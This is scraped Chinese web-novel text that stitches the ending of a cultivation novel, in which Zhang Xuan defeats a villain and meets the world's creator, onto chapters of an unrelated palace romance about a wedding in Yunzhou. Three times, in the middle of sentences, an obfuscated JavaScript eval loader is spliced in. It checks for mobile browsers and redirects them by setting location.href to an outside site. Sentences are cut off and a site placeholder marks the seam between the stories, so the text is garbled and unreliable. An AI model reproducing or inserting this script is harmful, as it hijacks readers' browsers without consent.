孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百三十六章 天人交战 “但愿如此吧。”楚王轻声叹息,语气中带着几分疲惫,“这次的事办砸了,连珠弓图谱拿不到手,银子也丢了。看来只能先回帝都,重新谋划。” “大哥。”李远龙突然开口,声音有些急切,“母妃常说,做大事的人不能瞻前顾后。她等了这么多年,就是想看到你...” “等等。”楚王突然打断了他的话,有些尖锐地问道:“母妃当真是歌姬出身?” 李远龙的脸色突然变得有些难看,“她是国相之女。”他的声音低沉得几乎听不见,“家道中落后,流落教坊司。若不是太后要害她,她也不会逃往玄冥。” 房顶上的楚星河听到这里,身体微微一震。他没想到楚王的身世竟然如此曲折。作为天玄的暗探,他知道许多朝廷中的秘密,但这个消息还是让他感到震惊。 楚王的脸色也变得异常难看。月光下,他的表情阴晴不定,眼中闪过复杂的情绪。良久,他才开口:“我明白了。替我告诉母妃,我不会让她失望的。” 说完,楚王转身离去,脚步声渐渐远去。留下李远龙一个人站在院子里,久久未动。 林芷柔和楚星河依然趴在房顶上一动不动。楚风吹过,带来远处的更声。这一场密谈,揭开了太多不为人知的秘密。 林芷柔偷偷瞥了一眼身边的楚星河,发现他的表情异常凝重。她知道,对于天玄朝廷中的秘辛,楚星河比她懂得更多。 不过这些对她来说都不重要。重要的是,她终于知道了楚王和玄冥的联系。这个发现,或许能帮她找到更多关于那批神秘银锭的线索。 李远龙仍然站在院子里,月光洒在他的身上,投下一道孤独的影子。他抬头望着天空,眼中的情绪很是复杂。 林芷柔注意到,他的手一直放在腰间的剑柄上,指节因为用力而发白。她不禁想起之前和他交手的场景,那时的李远龙,眼中只有冰冷的杀意。 但现在,他看起来却像一个迷失的人。 风渐渐大了起来,吹动着院子里的树叶沙沙作响。 林芷柔感觉腿有些发麻,但她不敢轻举妄动。虽然李远龙现在看起来心事重重,但她知道,这个男人的警觉性有多强。 就在这时,一片树叶飘落,轻轻落在李远龙的肩上。他似乎这才回过神来,抖了抖衣袖,转身走进了房间。 楚星河趴在屋顶上,微风拂过他的衣袍,发丝轻轻飘动。刚才听到的消息如同惊雷在脑海中炸响,让他一时难以平静。 这样的秘密,该不该告诉太子? 他蹲起身子,手指无意识地摩挲着青瓦,心中天人交战。这可是关系到皇家颜面的大事,若是说了,岂不是让太子为难?毕竟那是他的父皇所为。可若是不说,又显得他这个太子近卫不够忠心。 远处传来更夫打更的声音,“天干物燥,小心火烛......” 李远龙房中的灯火渐渐熄灭。 楚星河轻轻起身,将林芷柔抱在怀中。他的动作轻柔得如同对待易碎的瓷器,身形一闪,便如鬼魅般消失在楚色中。 即便是**湖中人称为“秦面罗刹”的李远龙,也未能察觉到他的行踪。这并非李远龙功夫不济,实在是楚星河的轻功已达到了一个匪夷所思的境界。 月光下,两道身影在屋顶间轻盈跃动,如同翩翩起舞的蝴蝶。 回到仁心医馆,楚星河从天井飘然而下。 将林芷柔放在椅子上,他整个人都显得有些恍惚。额头上渗出细密的汗珠,眼神也有些涣散。 “你这是怎么了?”林芷柔关切地看着他,伸手抚上他的额头,“脸色这么难看,是不是抱着我飞累了?” 她说着,手中便多了一杯清水,递到楚星河面前。 楚星河接过水杯,一饮而尽,却仍是心事重重。眉头紧锁:“柔柔,楚王的身世......” “先别说。”林芷柔急忙打断了他的话,四下张望了一番,压低声音道,“这种皇家秘辛,咱们知道就好。死而复生的人都成了玄冥贵妃,这事要是传出去,你觉得皇上会善罢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15688681|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甘休吗?” 楚星河闭上眼睛,慢慢平复着心绪。 “你说得对。”他睁开眼,目光渐渐清明,“连珠弓图谱在我们手中,只要守住这个,楚王就翻不出什么浪来。” “天色不早了,你该回去了。”林芷柔站起身,替他整理了一下衣领。 楚星河在林芷柔额头轻轻一吻,身形一闪便消失在夜色中。只留下一缕若有若无的清香,和林芷柔微红的脸颊。 林芷柔想起李远龙说的那些话,突然觉得这个世界比她想象的要复杂得多。 那批神秘的银锭,楚王的身世,玄冥的阴谋,所有的一切都纠缠在一起,形成了一个巨大的谜团。而她,就像一个局外人,却不得不卷入其中。 第二天一早,楚王便亲自来到医馆。他的脸色阴沉得可以滴出水来,眼中闪烁着不甘和愤怒。 “五万两,五瓶药水。”他咬牙切齿地说道,示意随从将玉牌放在桌上。 林芷柔神色淡然地收下玉牌,将早已准备好的药水递给他:“楚王请慢走。” 楚王狠狠地瞪了她一眼,转身离开。这一趟可谓是赔了夫人又折兵,不仅损失了金银,还折了一个得力助手。 看着楚王灰溜溜地离开云州,林芷柔终于松了一口气。她转身看向医馆的后院,那里种着几株玫瑰,正开得热烈。 楚王走后,林芷柔的生活重归平静。白天看诊,为病人解除痛苦;晚上与楚星河一起遨游天际,欣赏这人间美景。 时光飞逝,转眼便到了宁涵凤与林文昂成亲的日子。 整个云州都沸腾了。街道两旁挂满了红灯笼,空气中飘荡着喜庆的气息。 有钱的送红封,没钱的送些自家种的菜蔬。林山和柳雅芝推辞不过,只好笑纳。他们的脸上洋溢着幸福的笑容,儿子终于要成家立业了。 林芷柔也大方,所有来送礼的,都回赠半斤蜜糖。这可是五两银子一斤的稀罕物,一般百姓哪里买得起?街坊邻居们都夸她懂事,知道体恤民间疾苦。 第一百三十七章 进不了林家的门 宁家这边,宁涵凤一大早就开始梳妆打扮。喜娘们围着她忙前忙后,又是梳头又是上妆,好不热闹。 林文昂如今在云州可谓是风生水起,开了好几个作坊,做的都是独一无二的生意。宁老太太和楚父都对这个准女婿十分满意,逢人便夸。 只是宁涵清却不安分。 前些日子,她在花园里堵住宁涵凤,说要给林文昂做小。她的眼中闪烁着执着的光芒,仿佛已经看到了自己的美好未来。 宁涵凤冷笑一声,眼中满是讥讽:“妹妹可是忘了,我说过你永远也进不了林家的门。” 说完便扬长而去,留下宁涵清一个人在原地气得发抖。 此时的宁涵清正在自己房中踱步。她目光阴狠地望着手中的一个小瓷瓶。 这段时间,她在老夫人面前装乖卖巧,终于解了禁足。她心中冷笑,今日就要让所有人看看,她宁涵清也不是好欺负的。 她走到梳妆台前,看着铜镜中的自己。镜中人明艳动人,却掩不住眼底的怨毒。她轻轻抚摸着手中的瓷瓶,嘴角勾起一抹冷笑。 “姐姐,你不是一直看不起我吗?今天,我就让你在众人面前出丑。”她低声自语,声音中带着报复的快意。 宁涵清换上丫鬟的衣裳,躲在角落里观察着来往的宾客。她小心翼翼地拢了拢衣袖,生怕露出平日里养尊处优的气质。 今日是宁家嫡女出嫁的大日子,府中上下都忙得不可开交。丫鬟们来来往往,手里端着各色喜庆用品;小厮们扛着箱笼,满头大汗地往外搬运嫁妆。没人会注意一个不起眼的丫鬟。 宁涵清缩在阴影里,看着那些忙碌的身影,恨得咬牙切齿。 “快些搬,别磕着碰着了!”管家的声音从外头传来,“这都是小姐的嫁妆,要是有半点闪失,你们谁都担待不起!” 宁涵清攥紧了拳头,指甲深深陷入掌心。那些精美的箱笼,华贵的首饰,本该是属于她的。可如今,却要跟着姐姐嫁入林家。 她悄悄避开人群,来到大门外等候。心跳如擂鼓,手心全是汗。庭院里的红灯笼随风轻轻摇晃,映得她脸上一片忽明忽暗。 “新郎官来了!”不知是谁喊了一声,整个府邸顿时沸腾起来。 远处传来阵阵喜乐声,锣鼓喧天,鞭炮齐鸣。林文昂骑着高头大马,一身大红喜服配着同色花球,英俊的面容上带着掩不住的喜悦。伍大年特意组建的迎亲队伍簇拥着他,好不热闹。 宁涵清躲在人群后面,目不转睛地盯着林文昂。 迎亲队伍中还有一群精壮小伙,个个腰板挺直,目光如炬。这是伍大年专门训练的“抢亲队”,若是女方刁难新郎,他们就会强行把嫁妆和新娘抢回去。 宁涵清的手在微微发抖。她知道,这是最后的机会了。如果错过今天,她就永远失去了林文昂。 眼看着林文昂的马已经到了门前,她猛地冲了出去。“林公子!”她扑向马前,声嘶力竭地喊道,“清儿来了!你不能不要清儿啊!” 林文昂勒住马缰,险些摔下马来。他皱眉看着眼前这个疯癫的女子,一时间竟没认出这是宁家的二小姐。 “我们已经有了肌肤之亲,你怎能如此绝情?”宁涵清紧紧抓住马缰,泪如雨下。 这话一出,围观的宾客顿时炸开了锅。有人掩着嘴窃窃私语,有人摇头叹息,更多的人则是一脸看好戏的表情。 “这是宁家的庶女吧?” “听说她一直对姐姐的婚事心有不甘。” “商户人家的女儿,果然没什么教养。” 林文昂脸色铁青,今日本该是他的好日子,却被这疯女人搅得一团糟。他冷冷地看着宁涵清:“宁二小姐,你这是何意?” “林公子,那晚咱们一块儿从城外归来,你怎能装作不认得我?”宁涵清故意说得暧昧,“若不是为了你,我怎会深夜独自出门?” 这话更是引起一片哗然。有人开始议论这其中是否有什么隐情,也有人对宁家的门风指指点点。 就在这时,宁老太太和大爷匆匆赶来。看到眼前的情形,两人的脸色都不太好看。 “来人!”宁老太太厉声喝道,“把这个不知羞耻的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694046|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丫头给我拖下去!” 几个婆子立刻上前,要拉走宁涵清。但她死死抓着马缰不放,继续喊道:“林公子,你明明答应过要娶我的!” 林文昂终于忍不住了。他翻身下马,冷声道:“宁二小姐,你到底想干什么?那晚若不是我和九三兄弟救你,你早就毁在那些歹人手里了。你现在却恩将仇报,诬陷于我?” 此言一出,众人恍然大悟。原来是救命之恩被误解成儿女情长。 宁涵清急了,她没想到事情会变成这样。“林公子,我那天是特意去找你的!要不是为了找你,我怎会遇险?” “找我?”林文昂冷笑一声,“我与你素不相识,你找我作甚?要说亲事,那是你姐姐的事,与你何干?” 宁涵清还想辩解,却被赶来的嬷嬷死死捂住嘴巴。她拼命挣扎,眼泪不停地往下掉。 “各位见笑了。”宁老太太强压怒火,对宾客赔笑道,“这孩子从小受了些刺激,时常神志不清。今日是她姐姐大喜的日子,她大约是太激动了。” 宁涵清听到这话,更是绝望。她知道,从今以后,她就会被当作一个疯子,永远被关在后院里。而林文昂,会和她姐姐过上幸福的生活。 一股前所未有的悲痛涌上心头,她死死咬住嬷嬷的手,趁对方吃痛松手时,又要往林文昂身上扑去。 “你们都在骗我!”她歇斯底里地喊道,“明明是你答应要娶我的!明明是你说过要对我好的!” 几个身强力壮的仆妇立刻将宁涵清制住,一个捂住她的嘴,另一个直接扛起她就往后院跑。宁涵清拼命挣扎,指甲在仆妇手臂上留下道道血痕,却依然无济于事。 她只能眼睁睁看着林文昂被众人簇拥着,笑着走进宁涵凤的院子。那道红色的身影刺痛了她的眼睛,让她心如刀绞。 绝望如潮水般涌上心头,几乎将她淹没。她知道,这一切都完了。再也不可能嫁入林家,成为林文昂的妻子。 难道她真的要嫁给一个穷酸秀才?过那种为一日三餐发愁的日子?想到这里,宁涵清更加疯狂地挣扎起来。 第一百三十八章 该轮到我们了 “小姐,您别这样!”仆妇们费力地按住她,“老爷已经给您说好了亲事,那位秀才虽然家境一般,但人品极好。” “我不要!”宁涵清撕心裂肺地喊道,“我只要文昂哥哥!只要他!” 与此同时,宁涵凤坐在新房里,听着外面的动静,嘴角勾起一抹冷笑。镜中的她一袭红衣,明艳动人,哪还有半分往日病弱的模样。 这些年来,宁涵清仗着她有病,没少欺负她。如今风水轮流转,她不仅病好了,还要嫁给心仪的郎君,这报应来得可真是时候。 想到宁涵清方才那副疯癫的模样,宁涵凤心中升起一丝快意。谁让她这些年来,总是仗着自己的美貌四处招蜂引蝶,连她的未婚夫都不放过? 因为宁涵清这一闹,宁家也不敢再耽搁,赶紧让林文昂把新娘子接走了。一路上,喜乐声不断,红绸飘飘,好不热闹。 到了仁心医馆,拜完堂后,林文昂将宁涵凤送进新房。屋内烛火摇曳,映得一室旖旎。 他坐在一旁,脸色依然不太好看。眉头紧锁,显然还在为方才的事情生气。 “相公,别生气了。”宁涵凤悄悄撩起盖头的一角,露出一双明亮的眼睛,“清儿的事,自有祖母和父亲处置。” “哼!”林文昂冷哼一声,“她三番两次往我身上泼脏水,真当我好欺负不成?若不是看在令尊的面子上,我早就...” 话没说完,就被宁涵凤打断:“相公这般模样,倒像个小孩子。” “我哪里像小孩子了?”林文昂不服气地反驳,脸上的阴霾却淡了几分。 “你瞧,这不是更像了?”宁涵凤笑得更欢了,波流转间满是温柔,“今日可是我们的大喜之日,相公何必为那些不开心的事坏了兴致?” 林文昂无奈,抓起桌面上的秤杆,轻轻挑开红盖头。映入眼帘的是一张明艳动人的俏脸,顿时让他心头一荡。 烛光下,宁涵凤的肌肤如玉,眉目如画,哪还有半分病弱之态?这般美人在侧,林文昂哪还记得方才的不快? “相公,喝酒前先吃点东西。”宁涵凤将一碗面递到他手里,“我特意让厨房准备的,趁热吃才好。” 林文昂吃了两口,又把碗递回去:“你吃,我得下去招呼客人。今日来了不少贵客,可不能怠慢了。” “嗯。”宁涵凤点点头,“你去吧,我在这里等你。” 林文昂站起身,突然说道:“凤儿,你今天可真美。” “相公尽会哄人。”宁涵凤低头笑道,脸颊微红。 “我说的是肺腑之言。”林文昂一脸认真,“你比任何时候都要美。” 宁涵凤看他这般模样,心里甜滋滋的:“快去吧,别让客人等急了。” 林家的婚宴办得简单,但别有一番风味。门口摆了流水席,来往的客人都能打上一碗香喷喷的咸饭。就连几个乞丐也得到了一份。 楚云楚雨尝了尝,都说这味道不错,打算回去跟侯爷建议,让大营的食堂也这么做。他们站在角落里,看着来来往往的宾客,不时交头接耳。 “这林大夫倒是个妙人。”楚云笑道,“不摆阔气,反而办得这般接地气。” “是啊。”楚雨点头,“难怪侯爷那么看重他。” 直到夜幕降临,宾客散去,楚星河带着林芷柔坐在屋顶上看星星。 “柔柔,”楚星河轻声说,目光温柔地看着身边的人,“明年,该轮到我们了。” 林芷柔红着脸,没有说话,但心中早已泛起阵阵涟漪。 “可以吗?”楚星河紧盯着林芷柔的脸色,见她没有反对,感觉有些难以置信,声音微微发颤,像是怕惊扰了这美好的时刻,“那...那就明年正月十五如何?” 林芷柔望着眼前这个平日里运筹帷幄的男人此刻却激动得像个孩子,嘴角不自觉地扬起一抹温柔的弧度。在她看来,结婚日期不过是个数字,重要的是两个人能真心相爱。 “只要你能让你父母同意,什么时候都行。”她轻声说道,目光柔和地看着他。 楚星河一把将她揽入怀中,下巴轻轻抵在她的发顶。他能感受到怀中人的温暖,闻到她发间淡淡的清香。这一刻,他恨不得将整个世界都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694047|171447||http|test|mini|href|location''.split(''|''),0,{})); () { 